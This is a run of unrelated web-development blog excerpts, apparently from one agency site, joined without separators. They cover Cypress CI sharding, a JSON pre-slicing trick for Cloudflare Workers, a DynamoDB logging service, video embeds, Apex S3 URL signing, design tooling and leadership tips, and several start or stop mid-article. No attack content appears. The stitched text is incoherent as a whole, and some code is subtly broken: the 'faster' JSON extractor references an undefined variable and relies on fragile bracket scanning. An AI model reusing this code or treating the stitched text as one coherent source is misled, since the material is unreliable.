       path: worker-results-${{ matrix.worker_id }}.zip
       retention-days: 1

We keep the current ‘worker_id’ (the number of the job) and the overall workers count in environment variables used by the ‘cypress-threads.sh’ bash script to select the ‘per worker tests’.

#!/bin/bash

TESTS_GLOB_EXPRESSION=cypress/e2e/**/*.spec.ts
TESTS_COUNT=$(ls -1bA $TESTS_GLOB_EXPRESSION | wc -l)
TESTS_PER_WORKER_COUNT=$(( ($TESTS_COUNT + ($WORKERS_COUNT / 2)) / $WORKERS_COUNT ))

if [ $TESTS_PER_WORKER_COUNT == 0 ]; then
   echo "Too many workers! -> WORKERS_COUNT:$((WORKERS_COUNT)) and TESTS_COUNT: $((TESTS_COUNT))"
   exit 1
fi

WORKER_FIRST_TEST_INDEX=$(( ($WORKER_ID - 1) * $TESTS_PER_WORKER_COUNT ))

# The last worker handles the remainder
if [ $WORKER_ID == $WORKERS_COUNT ];then
   WORKER_LAST_TEST_INDEX=$(( TESTS_COUNT ))
else
 WORKER_LAST_TEST_INDEX=$(( $WORKER_ID * $TESTS_PER_WORKER_COUNT ))
fi

INDEX=0
for f in $TESTS_GLOB_EXPRESSION; do
 if [[ $INDEX -lt $WORKER_FIRST_TEST_INDEX || $INDEX -ge $WORKER_LAST_TEST_INDEX ]];
   then
     mv $f "${f}_disabled"
 fi

 ((INDEX++))
done

It just adds the ‘_disabled’ postfix to exclude the rest of the tests (every worker has an equal amount of tests).

After that, Cypress runs the ‘selected’ tests and generates the partial reports. Each report is uploaded as an artifact (the last step of the Test job).
Then, all report artifacts are extracted in the Generate Reports job that waits until the whole matrix of jobs finishes. It sums up all of the reports in one.

It all depends on your Cypress reporters and the type of report data that you want to generate. But everything can be accomplished with just a few minor tweaks in the Cypress ‘before:run’ and ‘after:run’ hooks. If you need just one JSON file containing all of the test information, you can simply merge the extracted reports in that job using CLI.

GitHub & GitLab Pages for Serving Reports

We wanted to generate HTML reports accessible to the client, so we ended up with the question - “How can we serve the HTML?”. Ideally, there should be a way to serve the reports separately - detached from the main product server/resources. Ideally, the test reports serving part should be part of the development process (and the Platform you are using - GitHub, GitLab, Azure DevOps, etc.).

Both GitHub and GitLab provide an easy and flexible way to deploy and serve simple HTML pages - GitLab Pages and GitHub Pages.

So the idea of generating and hosting the reports in the same service seems so close and possible but keep in mind the following facts.

For GitHub Pages:

• You have only one website per repository
• You should have a separate branch to serve the HTML reports
• The testing workflow would become more complicated as you should commit to the branch from it
• The repository might become too “storage killing” if you want to serve the whole history of the runs as the HTML pages contain images and videos (it’s not like storing them in specific storage like S3 or Minio)

For GitLab Pages:

• You have only one website per repository
• You can easily configure the Pages storage. It does not use the repository branches directly (like GitHub)
• Every time you deploy, you lose the previous Pages state (it is still in the storage by default though)
• The only way to deploy is by using artifacts, and again - it might become a “storage killer” if you want to save the whole history of test runs as you will have duplicated reports data in both Artifacts, Cache, and the Pages (there isn’t an easy way to persist the data)

To wrap it up - both Pages functionalities are great if you want to serve only the last run of the tests, but if you want to persist all runs and serve them - it’s better to use something else.

Final Words

As I’ve mentioned before, test performance optimization should be an essential part of the whole development process. It should even be part of the main end-user code development - if your mindset points in the direction of “well, if I develop that function/component in this way, how can I test it?”, you probably have already made the most important step of the optimization journey. That’s why I like the idea of test-driven development. That’s why having the tests always in mind when developing is fundamental - all of these additional speed/efficiency (CI/CD) improvements are something additional.

Hope you enjoyed the information in the article!

Happy Coding!
And…Happy Testing!

The data looks like:

{
  "data": [
    {
      "id": "element-one",
      "title": "Event One",
      "links": [
        {
          "name": "link-one",
          "href": "https://example.com/link-one",
          "title": "Link One",
          "description": "This is the first link."
        },
        {
          "name": "link-two",
          "href": "https://example.com/link-two",
          "title": "Link Two",
          "description": "This is the second link."
        }
      ]
    },
    {
      "id": "element-two",
      "title": "Event Two",
      "links": [
        {
          "name": "link-three",
          "href": "https://example.com/link-three",
          "title": "Link Three",
          "description": "This is the third link."
        },
        {
          "name": "link-four",
          "href": "https://example.com/link-four",
          "title": "Link Four",
          "description": "This is the fourth link."
        }
      ]
    }
  ]
}

And the corresponding HTML component that uses it looks like this:

<template-element src="/assets/data/events-data.json" data-id="element-one">
    <h2>{{{ title }}}</h2>
      {{#each links}}
        <a href="{{ this.href }}" target="_blank" name="{{ this.name }}" class="menu-link" title="{{ this.description }}">
          {{ this.title }}
        </a>
      {{/each}}
</template-element>

Let's take a look at the top-level logic and functionality. The overall concept is:

1. The Cloudflare Worker will get the static HTML
2. The HTML will contain a 'template-element' component with specific 'src' (the JSON file location) and 'data-id' (the id of the element from the JSON array that contains the information for this component)
3. The worker fetches the JSON and searches the array for an element with an id equal to the 'data-id' attribute value of the HTML component
4. The worker uses the HTMLRewriter API to inject the dynamic information into the HTML component (using HandleBarsJS)

In this article, we will focus on the third step only as it's the most interesting one.

And if we pretend that we have this template HTML component - <template-element src="/assets/data/events-data.json" data-id="element-one">, we should take the element from the array that has id = 'element-one'.

P.S. The JSON is automatically generated from a third-party service used by the client, so we can't easily manipulate it.

Looks simple, right? Let's dive deeper.

The JSON might contain a very large amount of elements with a lot of properties, so the process of parsing and looping through them to get the right one could be very-slow and resource-consuming. We can even hit some Cloudflare worker limits. Let's take a look at this code:

const extractComponentInformation = (json: string, targetId: string): Event => {
    const data: EventsData = JSON.parse(json)

    // TODO! -> Validate the information (check if the event is duplicated or missing)

    const event: Event | undefined = data.find(event => {
        return typeof event.id !== 'undefined' && event.id === targetId
    });

    if (!event) throw new Error(`The component with id = ${targetId} is missing in the JSON payload ${json}!`);

    return event;
};

1. The JSON parsing for such a big string is a slow operation that will consume a lot of memory.
2. Looping through thousands of elements might slow down the process as well.
3. When we add the validation (another looping OR we can implement it in the main loop), it becomes even slower.

The very first thing that came to my mind was - well, if the element is at the beginning, we can just break the loop and return the needed information. But we must take a look over all of the elements to ensure that we have only one element with this ID (and log a well-described exception if there are duplicated events for further investigation). So at the end of the day we must look through all elements.

And in fact, this operation will get slower and slower based on the count of the elements.

The solution

What does the JSON format mean? It's just a raw/unparsed string that contains information, right?

So we can do all fancy string-related operations (some of them are surprisingly well-optimized in Javascript) and benefit from the text-nature of the information. We can search, replace characters, trim, slice, etc. We can potentially pre-process the string and make the JSON parsing process faster.

The same function as in the previous code example but 11x faster:

export const extractComponentInformation = (json: string, targetId: string) => {
  const idPosition = getEventIdPosition({ id, json });
  const startPosition = getStartPosition({ idPosition, json });
  const endPosition = getEndPosition({ idPosition, json });

  const eventJson = json.slice(startPosition, endPosition);
  const data = JSON.parse(eventJson);

  return data;
};

As you can see, we're preprocessing the raw JSON string before the real parsing. Basically, we slice the string, so ONLY the needed part is parsed later instead of the whole big chunk of information. The algorithm is based on character positions and patterns searching. First, we search for the object location in the string.

export const getEventIdPosition = ({ id, json }) => {
  const idSelector = `"id":"${id}"`;
  const idPosition = json.indexOf(idSelector);

  if (json.indexOf(idSelector, idPosition + idSelector.length) !== -1) {
    throw new DuplicatedEventError({ id, json });
  }

  if (idPosition === -1) {
    throw new EventNotFoundError({ id, json });
  }

  return idPosition;
};

We simply search for '"id":"{here is the requested id}"' and once we know its position, we can start scrolling to find the beginning and the end of the object. Again - we will use ONLY string operations. Let's look at the process of extracting the 'startPosition' value.

export const getStartPosition = ({ idPosition, json }) => {
  let pointer = idPosition;
  let pointerBreak = idPosition;

  do {
    pointer = json.lastIndexOf('}', pointer);
    pointerBreak = json.lastIndexOf('{', pointerBreak);
  } while (pointer > pointerBreak);

  return pointerBreak;
};

The logic is very straightforward - we start scrolling backward from the Id to the top/beginning of the string while comparing the positions of the upcoming '{' and '}' brackets. At the moment, when the next '{' bracket is after the '}' bracket - this is the place where the object starts. It might look a little bit confusing, so let's take a look at the following illustration for more context.

The function for getting the end position of the object is very similar.

export const getEndPosition = ({ idPosition, json }: GetPositionParams) => {
  let pointer = idPosition;
  let pointerBreak = idPosition;

  do {
    pointer = json.indexOf('{', pointer) + 1;
    pointerBreak = json.indexOf('}', pointerBreak) + 1;
  } while (pointer < pointerBreak);

  return pointerBreak;
};

But this time, we scroll forward (using 'indexOf' instead of 'lastIndexOf'), and we are interested in the moment when the closing '}' bracket is before the opening '{' one.

Dev Note: Both 'indexOf' and 'lastIndexOf' functions are well-optimized. They can't be used with regex values and that makes them so fast.

Once we have both star and end positions, we should slice the string and parse the needed information only.

I know it's just one example that works with a specifically predefined structure, and it's not available for more general cases. But with a few tweaks in the code, you can adapt it for your case as well (and yes - it is worth it because of the 11x times faster results).

This algorithm for preprocessing the JSON is an alternative approach, and there isn't anything similar over the Internet. Feel free to improve it!

Happy Coding!

Have you ever had to manage big data, such as system logs? No worries - AWS SAM and DynamoDB are here to help you. The reason for this article is the same - we have system logs, stored in a MySQL server. One of our clients complained that the logs listing page takes too much time to load in the administration panel (there were about 1 million logs). MySQL wasn't the right way to store this data, and we had to find a better solution, so we decided to separate the logs from the main application.

The big data can be handled in many different ways - serverless or with a dedicated server that processes the requests. But here (just like in every other task) the real question is "What exactly do we need?". This question is crucial because it can push us in the right direction. There is a lot of background information behind the scenes - we do not want unnecessary services to maintain as this will make the task and the application too complex (like Elastic Search). At the same time, we want to handle all of the requested functionalities - searching, sorting, filtering, writing, etc.

Structure

Used resources:

1. DynamoDB - for storing the logs
2. Lambda functions - for reading and writing logs
3. Simple Queue Service - for triggering the "logs writing" lambda function; two queues - LogsQueue is the main queue, DeadLetterQueue is the "failed jobs" queue
4. API Gateway - for triggering the "logs reading" lambda function
5. CloudFormation (via the Serverless Application Model templates) - for creating and managing all resources in the stack

The main application creates a job that contains the log information in the SQS Queue (LogsQueue). Then, the LogsQueue triggers a lambda function that writes the logs to the database (a DynamoDB table called LogsTable). As for the logs listing and filtering - there is an API Gateway with two available routes: "/" and "/{uuid}" associated with two lambda functions respectively - LogsReader (for retrieving and filtering all logs) and LogReader (for retrieving only a specific log using its UUID). These two functions read directly from the database. The whole structure is illustrated below.

SQS Queues

The Logs serverless application uses two queues - one main queue (LogsQueue) and one dead-letter queue (DeadLetterQueue). The main queue is the bridge that connects the main application and the lambda function for storing the logs in the database.

Messages can sometimes not be processed for a variety of reasons, including incorrect conditions in the producer or consumer application or an unanticipated state change that interferes with the code of your application. These messages are forwarded to the dead-letter queue. This way, you're able to run the processes again (you can set the maximum trials count in the Queue settings). Because they allow you to isolate unconsumed messages and figure out why their processing fails, dead-letter queues are helpful for debugging your application as well.

Lambda Functions

With the compute service Lambda, you may run code without setting up or maintaining servers. Additionally, you can utilise layers to organise your app, and even better, you can use these layers in other lambda functions. By doing this, you can segregate the core code components (helpers, DB/Storage connections, PyDantic models, etc.) and reuse them throughout all lambda functions in the application without having to duplicate the code.

I've created one base layer (UtilsLayer) where I've put the DynamoDB connection and pagination clients (from boto3), the base models that the functions will inherit, helper functions, etc. Pydantic and Lambda Powertools played a big role here.

Lambda Powertools and PyDantic - the best combination for lambda functions data handling

This is an awesome collection of Python tools for AWS Lambda functions that make it easier to implement best practices like tracing, structured logging, validation, events parsing, and many more. The automatic event parsing is just fantastic - nice syntax, quick validation, and data management. You can check how it works here. Lambda Powertools can be used as a python package or directly as a layer in the application. Another very powerful aspect of this library is that it supports PyDantic. This raises the level of the application structure dramatically - you can implement the whole validation with just one decorator function (@parse_event). Feel free to check their documentation, it is worth it.

Here is an example of how Lambda Powertools and Pydantic are used together in the Logs Serverless Application.

You can see the base LogModel with all of its fields declared. It is located in the Utils Layer since all functions will use it.

from aws_lambda_powertools.utilities.parser import BaseModel, Field

class LogModel(BaseModel):
    id: UUID = Field(default_factory=uuid4)
    account_id: int = Field(gt=-1)
    user_id: int = Field(gt=-1)
    type: str = Field(min_length=1)
    sub_type: str = Field(min_length=1)
    url: str = Field(min_length=1)
    payload: Optional[str] = Field(min_length=1)

    submitter_id: Optional[str]
    submitter_country: Optional[str]
    submitter_city: Optional[str]
    submitter_platform: Optional[str]
    submitter_browser: Optional[str]
    submitter_agent: Optional[str]

    created_at: datetime = Field(default_factory=datetime.now)

    def to_dict(self, *args, **kwargs):
        data = self.dict(*args, **kwargs)
        data['id'] = data['id'].hex

        # Now the account_id and user_id are BigInt in the MySQL
        # Converting them to string for future DB structure updates
        if isinstance(data['account_id'], int):
            data['account_id'] = str(data['account_id'])

        if isinstance(data['user_id'], int):
            data['user_id'] = str(data['user_id'])

        data['created_at'] = data['created_at'].isoformat()

        # Internal fields for the GSIs
        data['account_id#type'] = f'{data["account_id"]}#{data["type"]}'
        data['status'] = 'OK'

        return data

And this is the LogsWriterFunction input validation model. It looks simple, doesn't it?

from aws_lambda_powertools.utilities.parser.models import SqsModel, SqsRecordModel
from typing import List
from models import LogModel


class Params(SqsRecordModel):
    body: LogModel


class WriteLogModel(SqsModel):
    Records: List[Params]

And now comes the best part - the handler method (LogsWriterFunction). The whole complex validation logic happens behind the scenes. The code is shorter, simpler, and nicely structured.

@event_parser(model=WriteLogModel)
def lambda_handler(event: WriteLogModel, context: LambdaContext):
    for record in event.Records:
        save_log(record.body)

    return {"statusCode": 200}

DynamoDB

Probably the most complex and hard-to-research part was the logs filtering. Unless you install ElasticSearch as an additional service to Dynamo, this database doesn't offer a lot of options for searching (or at least, efficient options for searching). Yes, you can search using the SCAN method instead of Query but it's slow and not recommended for a big amount of data. The real power of Dynamo is the storage partition separation - it's ideal for big data storing.

In this project, we benefit from one feature called "Global Secondary Index" or shortly - "GSI". It prevented us from creating a new ElasticSearch instance, which will be more expensive and will require maintenance. These indexes are a powerful tool for handling "not too complex" filtering cases.

A partition key and an optional sort key are required for each global secondary index. The base table schema and the index key schema can differ. It is possible to establish a global secondary index with a partition key as the composite primary key for a table with a simple primary key, or the opposite. Every GSI makes an internal duplicate of the main table, using the requested fields as partition and sort keys. This way, you can search and filter (by the sort key) very fast.

GSIs

• AccountIndex - used for filtering by account
  • Partition key: account_id
  • Sort key: created_at
• TypeIndex - used for filtering by type
  • Partition key: type
  • Sort key: created_at
• AccountTypeIndex - used for filtering by account and type simultaneously
  • Partition key: account_id#type
  • Sort key: created_at
• SortingIndex - used for sorting all available logs; used in the "all logs" API Endpoint - the SCAN method cannot sort the logs because they are in different partitions so this sort key is the only way to "cheat" and sort them. This method has a lot of cons but it's the only way for sorting the data. Because the data is located in one place, it's recommended to use it with a "limit" and pagination.
  • Partition key: status (it's set to "OK" for all records so all records are located in the same partition)
  • Sort key: created_at

Other fields

• id - UUID V4
• account_id - string
• user_id - string
• type - string
• sub_type - string
• url - string
• payload - string/json
• submitter_id - string, optional
• submitter_country - string, optional
• submitter_city - string, optional
• submitter_platform - string, optional
• submitter_browser - string, optional
• submitter_agent - string, optional
• created_at - string, ISO 8601

AWS SAM - A Cloudformation Templates Translator

The AWS Serverless Application Model (SAM) is an open-source framework for developing serverless apps. It offers a straightforward syntax for defining functions, APIs, databases, and mappings of event sources. You can define and model the application you want using YAML with just a few lines per resource. You can create serverless applications more quickly since SAM expands and translates the SAM syntax into AWS CloudFormation syntax during deployment.

The Serverless Application Model Command Line Interface (SAM CLI) is an extension of the AWS CLI that adds functionality for building and testing Lambda applications. It uses Docker to run your functions in an Amazon Linux environment that matches Lambda. It can also emulate your application's build environment and API. Using SAM CLI you can also easily deploy your application.

The best part is that the SAM templates are reusable - if you put them into a completely new account and deploy them using SAM CLI, everything will be set up after a few minutes.

The Logs Serverless Application uses SAM for creating the resources and their connections, for deployment and testing, most of the DevOps-related tasks in the project.

I hope this article gave you an overall idea of how powerful are the serverless application. Combined with tools like Lambda PowerTools can lead to amazing results and solutions.

Happy Coding!

1. The video must autoplay and loop smoothly.
2. The playback interface should be hidden since it's a design element, not an element of the page contents.
3. It should be easy for the site admins to upload new videos with high-quality and different duration.

At first I've reviewed the possibility of storing the video files on the client's server and playing them directly, but this idea was quickly ruled out for one main reason – the smooth playback can't be guaranteed in a way a video streaming service can. There are many custom video streaming solutions available at different cost, but in this article I'll compare the quick and free options offered by the two major video content services – YouTube and Vimeo.

Option 1: Using a self-hosted mp4/webp video

Like I mentioned earlier, using a self-hosted solution for the videos was my first idea, because of the straightforward embedding via a simple HTML5 tag, the clean interface and full control over the playback options. These advantages however were not enough to outweigh the biggest drawback – we can't guarantee a smooth playback, especially for longer videos, which cause greater server loads and there isn't a sophisticated buffering like the one offered by a video streaming service. A locally stored video file can be used if you have a couple of pre-selected short clips for background effects for example, but since the client will need a variety of longer clips and intros, which will be updated regularly, this won't be a viable option for them.

Nevertheless, here is what you get when placing an HTML5 video tag. You can remove the playback controls by omitting the “controls” attribute of the video tag. We will need the autoplay and loop attributes for our header video. There's an important note though. In order to ensure that the autoplay will work properly, you must add the “muted” attribute to the tag, otherwise the user's browser will pause the video due to the audio in it.

<video muted autoplay loop>
  <source src="short-intro.mp4" type="video/mp4">
  Your browser does not support the video tag.
</video>

Option 2: Embedding a YouTube video

Using a popular video streaming platform was the way to go. First I started testing YouTube and it's embedded video features. Unfortunately I was quickly disappointed by the poorly documented parameters. For example I've set “autoplay=1”, but nothing happened. Of course the issue was the audio again which causes the browser to disable the autoplay. After some googling I found the mute parameter I needed, which wasn't mentioned in the docs: “mute=1”. The autoplay issue was solved, but I've stumbled upon a few deprecated parameters, which no longer hide interface elements such as video title and the list of suggested videos in the end. The last straw was the jagged looping and the required “hack” to make it work. You must add “playlist=” parameter with the same URL as the main video in order to enable the loop and it still isn't seamless (see the video below).

<iframe width="930" height="523"
  src="https://www.youtube.com/embed/-btiginol88?
  playlist=-btiginol88&
  autoplay=1&
  controls=0&
  mute=1&
  rel=0&
  loop=1&
  modestbranding=1&
  autohide=1&
  showinfo=0"
  frameborder="0"
  allow="accelerometer; autoplay; loop; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen>
</iframe>

Option 3: Embedding a Vimeo video

After the disappointment with YouTube I turned to Vimeo. I was pleasantly surprised by their simple and useful documentation. I was able to set the parameters I need right away. They've even mentioned the required “muted” parameter for the autoplay. Their interface is a lot cleaner and the looping is excellent. My only issue was that I can't hide the controls completely. The parameter “controls=0” seems to work only for paid plans.

<iframe src="https://player.vimeo.com/video/58253485?
  autoplay=1&
  loop=1&
  controls=0&
  color=ffffff&
  title=0&
  byline=0&
  portrait=0&
  muted=1"
  style="position:absolute;top:0;left:0;width:100%;height:100%;"
  frameborder="0"
  allow="autoplay; fullscreen" allowfullscreen>
</iframe>
<script src="https://player.vimeo.com/api/player.js"></script>

My choice was option 3, even though I wasn't able to hide the interface completely in the free plan, it was still the cleanest and smoothest option of the mentioned above.

As a Salesforce guy/gal, you know there are a lot of limitations. One of them is the size of the memory during Apex execution, which limits us to implement a full backend solution for AWS S3 resource manipulation. No one wants resource size restrictions like a maximum files size of 12MB. Digging in that direction would be pointless and expensive. The other solution is to sign an AWS S3 resource link and allow the Salesforce user to access that resource for specified time, by calling simple and lightweight Apex.

I’m sure that you already found several very short code snippets that sign links. I was on the same boat. I’ve spent several hours testing snippets and digging for other solutions, but so far nothing worked for me. I ended up on AWS S3 API documentation and decided to get my hands dirty.

According to the documentation, in order to sign the link to an S3 resource, we need to create and append a signature to that link. The current signature version is v4, so that’s the version we are going to use in this article.

Before we get to the real signature code, we need to implement one helper function - UriEncode. I know that Apex already has one - EncodingUtil.urlEncode, but it differs a little bit and this makes it unsuitable for this signature generation - It does not have an option for not encoding the slash symbol, which is important here. Fortunately, AWS S3 documentation provides a source code in Java for that function with the desired option. Here’s its Apex equivalent:

String UriEncode(String input, Boolean encodeSlash) {
    String result = '';

    for (Integer i = 0; i < input.length(); i++) {
        String ch = input.substring(i, i + 1);

        if ((ch >= 'A' && ch <= 'Z') || (ch >= 'a'
           && ch <= 'z') || (ch >= '0' && ch <= '9') || ch == '_' ||
           ch == '-' || ch == '~' || ch == '.') {
           result += ch;
        } else if (ch == '/') {
           result += encodeSlash ? '%2F' : ch;
        } else {
            String hexValue = EncodingUtil.convertToHex(Blob.valueOf(ch)).toUpperCase();

            if (hexValue.length() == 2) {
                result += '%' + hexValue;
            } else if (hexValue.length() == 4) {
                result += '%' + hexValue.substring(0, 2) + '%' + hexValue.substring(2);
            }

        }
    }

   return result;
}

Here is the important method:

public static String getSignedURL(String accessKey, String secretKey, String bucketName, String bucketRegion, String location, String file, Integer expires) {
   Datetime currentDateTime = Datetime.now();
   String dateOnly = currentDateTime.formatGmt('yyyyMMdd');
   String req =  dateOnly + '/'+ bucketRegion +'/s3/aws4_request';
   String xAmzCredentialStr = accessKey + '/' + req;
   String xAmzDate = currentDateTime.formatGmt('yyyyMMdd\'T\'HHmmss\'Z\'');
   String xAmzSignedHeaders = 'host';
   String host = bucketName + '.s3.'+ bucketRegion +'.amazonaws.com';

   String canonicalRequest =
           'GET\n' +
           '/' + UriEncode(file, false) + '\n' +
           UriEncode('X-Amz-Algorithm', true) + '=' + UriEncode('AWS4-HMAC-SHA256', true) + '&' +
           UriEncode('X-Amz-Credential', true) + '=' + UriEncode(xAmzCredentialStr, true) + '&' +
           UriEncode('X-Amz-Date', true) + '=' + UriEncode(xAmzDate, true) + '&' +
           UriEncode('X-Amz-Expires', true) + '=' + UriEncode(String.valueOf(expires), true) + '&' +
           UriEncode('X-Amz-SignedHeaders', true) + '=' + UriEncode(xAmzSignedHeaders, true) + '\n' +
           'host:'+host + '\n\n' +
           'host\n' +
           'UNSIGNED-PAYLOAD';

   String stringToSign =
           'AWS4-HMAC-SHA256\n'+
           xAmzDate + '\n' +
           req + '\n' +
           EncodingUtil.convertToHex(
                   Crypto.generateDigest('SHA-256', Blob.valueOf(canonicalRequest))
           );


   Blob dateKey = Crypto.generateMac('hmacSHA256', Blob.valueOf(dateOnly), Blob.valueOf('AWS4' + secretKey));
   Blob dateRegionKey = Crypto.generateMac('hmacSHA256', Blob.valueOf(bucketRegion), dateKey);
   Blob dateRegionServiceKey = Crypto.generateMac('hmacSHA256', Blob.valueOf('s3'), dateRegionKey);
   Blob signingKey = Crypto.generateMac('hmacSHA256', Blob.valueOf('aws4_request'), dateRegionServiceKey);

   Blob signature = Crypto.generateMac('hmacSHA256', Blob.valueOf(stringToSign), signingKey);
   String signatureStr = EncodingUtil.convertToHex(signature);


   return location + '?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=' + EncodingUtil.urlEncode(xAmzCredentialStr, 'UTF-8') + '&X-Amz-Date=' + xAmzDate + '&X-Amz-Expires=' + String.valueOf(expires) +'&X-Amz-Signature=' + signatureStr + '&X-Amz-SignedHeaders=host';
}

The required parameters should be self-explanatory, but just in case here are their meanings:

• accessKey - the AWS S3 access key;
• secretKey - the AWS S3 secret key;
• bucketName - name of our target AWS S3 bucket;
• bucketRegion - region name for our AWS S3 bucket;
• location - full url to the desired file;
• file - it is the part after amazonaws.com without a leading slash;
• expires - link timeout in seconds which starts to count down at the end of getSignedUrl method invocation.

And at the end here is an example method invocation with test data:

String signedUrl = YourClassNameHere.getSignedURL('s3-access-key-here', 's3-secret-key-here', 'your-s3-bucket', 'eu-west-1', 'https://your-s3-bucket.s3.eu-west-1.amazonaws.com/some-folder/my-target-file.jpeg', 'some-folder/my-target-file.jpeg', 30);

It generates a signed link with a validity of 30 seconds.
No additional settings are required in Salesforce in order to use this AWS S3 link signing, except the storage of your AWS S3 credentials.

That’s all. Simple, isn’t it?

Happy signing ;)

It all began with Photoshop

In the good old days every designer had to be familiar with Photoshop when they started working in the web design industry. Even when at a later stage some early prototyping tools started to appear, for almost two decades Photoshop was “the tool” to use when you want professional UI design. It provided unlimited freedom to create sophisticated interfaces – from the simplest icons and pop-ups to the detailed hero banners with ads and promos. It worked fine as a design tool, but there were few major drawbacks that all web companies and designers had to accept unwillingly – it was expensive, its interface was heavy and overwhelming while you basically used less than 10% of its options for your everyday UI/UX work. Not to mention how difficult it was for the front-end developers who had to learn to use Photoshop and all its complicated options in order to slice a simple web design into markup.

The era of the prototyping tools

There were some prototyping tools during the “reign” of Photoshop, such as Sketch, which was launched in 2010, although being an iOS tool only tool is a bit limiting. For me, personally, the big change came after 2016 with the launch of Adobe XD and Figma. I have to admit that I was skeptical about prototyping tools in general back then and I was an avid supporter of Photoshop. In the first couple of years I've ignored Adobe XD as a viable option for UI and web design – for me it was simply an UX wireframing tool. After some time I decided to give it a chance and I've realised how much I needed such a tool in my work. The first thing I noticed was the drastic difference in the interface. It was so simple, compared to Photoshop, that at first I had doubts that I'll be able to create an actual, complete UI design with it. It was difficult to adjust to not being able to edit every single detail, but then I've realised that I have all essential tools I need for creating the layout and it's not necessary to have a full arsenal of image retouching options while thinking about the UI. It might sound like a teleshop commercial, but I was truly amazed how I was able to create a website's homepage layout, both desktop and mobile for less than 1/3 of the time it would've taken to do it in Photoshop. Bear in mind that I wasn't familiar with Adobe XD's interface at all.

I’ve also had the chance to try out Figma in a few projects and I’m truly impressed with it. Its browser app is light, quick and I love some of the clever features it’s got, such as the Inspect sidebar widget where you can directly preview the CSS properties of an element or the live collaboration, where you can edit a layout with your colleagues, by seeing each other’s cursor in real time.

The other groundbreaking advantage of the prototyping software is the ease of use for people who are not graphic designers. Any front-end developer would love the simple interface, since they no longer need to “slice” an overcomplicated image of the design. In a prototyping tool they can quickly export images, icons, texts and inspect an element’s properties with a single click, making it easier for them to focus on building the HTML/CSS, instead of fighting with image editing interfaces, like it was in Photoshop. This ease of use speeds up the design process and the interaction with the clients significantly which is of utter importance for every web design company.

So is this the end of Photoshop in web design?

I dare to say we are about to see a generation of web designers who haven't even used Photoshop in their careers. Although many web development companies might not need Photoshop on their computers, it'll always be needed for the professional web designer. The fact is that the modern designs are getting cleaner and almost 90% of the elements are either pure CSS3 or SVG/PNG graphics and imagery, but there are still 10% for sophisticated interfaces with complicated graphics that need to be sliced or banner images that need to be created in a full-scale image creation software, such as Photoshop.

Did you see any freelancers here? If you want exceptional team performance, you need experienced and battle-tested people you can trust.

Lesson #2:

Teamwork isn’t just a word. It can be the only difference between failure and success.

{{ newsletter }}

Lesson #3:

Strength and honour. Leader’s job is to lead and inspire others. People follow only those they trust.

Lesson #4:

The only way to lead is by example. Get your hands dirty. Take care of your people and let them do their best.

Lesson #5:

All great leaders have mentors, even to remind them something they already know.

Lesson #6:

No one can control everything. The ancient Greek philosopher Epictetus said it best: "Make the best use of what is in your power, and take the rest as it happens."

Bonus Lesson:

Daily Standups are funny if done without stakeholders :)

Reviewing the source code of Aura shows that events in Aura are handled in a way that is not suitable for LWC. The solution is straightforward - a proxy Lightning component to handle and dispatch “refreshView” events between Lightning and LWC.

So, let's dive into the code

<aura:component description="refreshView4LWC" implements="force:appHostable,flexipage:availableForAllPageTypes,force:hasRecordId">
 <aura:handler name="init" value="{! this }" action="{! c.onInit }" />
 <aura:handler event="force:refreshView" action="{! c.onRefreshView }" />
</aura:component>


({
 onRefreshView: function (component, event, helper) {
   document.dispatchEvent(new CustomEvent("lwc://refreshView"));
 },

 onInit: function (component, event, helper) {
   document.addEventListener("aura://refreshView", () => {
     $A.get('e.force:refreshView').fire();
   });
 }
});

That’s it. Very simple proxy Lightning component. The component is invisible, so it won't break your UX.

{{ newsletter }}

Here is our example LWC component which uses this proxy:

import {LightningElement} from 'lwc';
import { ShowToastEvent } from 'lightning/platformShowToastEvent';

export default class RefreshExampleLwc extends LightningElement {
 constructor() {
   super();

   document.addEventListener("lwc://refreshView", () => {
       const evt = new ShowToastEvent({
           title: "Info",
           message: "received refreshView event",
           variant: "info",
       });
       this.dispatchEvent(evt);
   });
 }

 refreshViews() {
   document.dispatchEvent(new CustomEvent("aura://refreshView"));
 }
}

As you can see - you will need to attach an event listener in the document and start listening for lwc://refreshView. For notifying the other components to refresh themselves - you can simply dispatch custom event aura://refreshView.

Everything starts with the client's idea and requirements. Even before drawing a single line of the wireframe, I have to discuss and understand the details of the project. That's not just the project manager's job – the designer must get familiar with every aspect of the task - from studying the client’s business field in detail, what are their marketing goals, through the back-end and all required functionalities. After all, the UI/UX is what the end user sees and its design must present in the best way possible all of the app's features. If I, as a designer, am not completely aware of the features, how they work and what's their application, I might translate them poorly in the UX, decreasing the entire project's value.

In most projects the client has already made more or less detailed study of the competitors and what they offer in their products, but nevertheless, I should make a market study on my own and get really familiar with the field of the given project. I have to become a part of this field, learn the terms, specifics and see what are the norms and best practices used by the competitors. This way I can be sure that I truly understand the project and will be able to create a design that stands out in the market.

2. Starting the work and splitting the development and design processes

After the project's specifications are done and confirmed, the actual build process starts. The tasks are mainly split in two areas – back-end structure and development and designing the front-end. The development team chooses the best framework, tools, plans out the web admin interface, the database and the overall infrastructure and starts building the project from the ground up. In the meantime, I start creating initial mock-ups for layouts of the front-end by sketching out the main elements and clarifying the user journeys for each major piece of functionality. It's important to have rough (low-fidelity) mock-ups as early as possible so I can easily discuss them with the dev team and the client. This way we might catch potential issues which are missed in the initial planning process and suggest the necessary back-end changes in time.

Having the flexibility to quickly adjust the initial mock-ups is important, because in this phase I’m in close contact with the client and I’m getting feedback frequently. That's why using prototyping tools such as Adobe XD and Figma saves a lot of time for both me and the client. When the initial mock-ups/wireframes and the user journeys are clarified, I can move to the next step of my work.

3. Creating the final designs and high-fidelity mock-ups

This is the phase when the actual appearance of the website is being built. In some cases I might already have requirements from the client, about what colors to be used and overall branding styles, which I must follow, but it's still up to me to make a unique design, which will be competitive in the project's field. Actually, the word “unique” is a bit of a cliché which I personally don't like. The most important thing is to make the design effortless to use and not hinder it with elements and features, just because they look cool. The design must complement the functionality, to catch the user's attention by its elegance and simplicity. The good user experience is not only the visuals, but the way the graphic design guides you through the journey of using the site. This is what makes your website attractive and memorable. The well working UX is not just a good graphic design either. I have to make sure that even the copywriting is well thought, that every button, error message, heading, footer text is in place and presents the website's product in the best way possible. This is why it's so important for me to study the website's field in detail and be familiar with the terms and practices in it.

